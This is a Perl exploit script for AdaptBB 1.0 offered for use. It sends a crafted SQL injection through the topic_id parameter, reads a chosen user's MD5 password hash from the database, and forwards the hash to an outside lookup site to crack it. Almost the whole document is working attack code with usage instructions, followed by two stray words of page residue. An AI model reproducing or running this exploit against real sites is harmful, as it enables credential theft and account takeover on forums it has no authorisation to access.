#!/usr/bin/perl -w
#
# AdaptBB 1.0 (topic_id) SQL Injection / Credentials Disclosure Exploit
#
# Description
# -----------
# AdaptBB contains a flaw that allows an attacker to carry out an SQL
# injection attack. The issue is due to the inc/bb/topic.php script not
# properly sanitizing user-supplied input to the 'topic_id' variable. This may
# allow an attacker to inject or manipulate SQL queries in the backend
# database if magic_quotes_gpc = off.
# -----------
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it
use strict;
use LWP::Simple;
use IO::Socket;
our ($host,$path,$username) = @ARGV;
if (@ARGV != 3)
{
print "\n+-----------------------------------------------------------------------+\n".
"\r| AdaptBB 1.0 (topic_id) SQL Injection / Credentials Disclosure Exploit |\n".
"\r+-----------------------------------------------------------------------+\n".
"\rby yeat - staker[at]hotmail[dot]it\n".
"\nUsage: perl $0 host /path/ username\n".
"\nhost: localhost\n".
"\rpath: /adaptbb/\n".
"\rusername: target username\n";
exit;
}
if ($username =~ /(\w+)/i) {
print "Victim: $username\n";
exploit();
}
sub exploit
{
my ($packet,$html,$inject,$socket);
$inject = "%27/**/UNION/**/SELECT/**/password,2,3,4,5,6,7,8,9,10/**/".
"FROM/**/adaptbb_users/**/WHERE/**/username='$username'%23";
$socket = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
) or die $!;
$packet .= "GET $path/index.php?do=topic&topic_id=$inject\r\n";
$packet .= "Host: $host\r\n";
$packet .= "User-Agent: Lynx (textmode)\r\n";
$packet .= "Connection: close\r\n\r\n";
$socket->send($packet);
while (<$socket>) {
$html .= $_;
}
if ($html =~ /Re: ([a-f0-9]{32})"/i) {
print "Exploit successful\nMD5: $1\n";
print "Password Cracked: ".search_md5($1)."\n";
}
else {
print "Exploit unsuccesful..\n";
}
}
sub search_md5
{
my $hash = shift @_;
my $cont = undef;
if ($hash =~ /^([a-f0-9]{32})$/i) {
return get("http://md5.rednoize.com/?p&s=md5&q=$hash");
}
else {
return 404;
}
}
Polish
English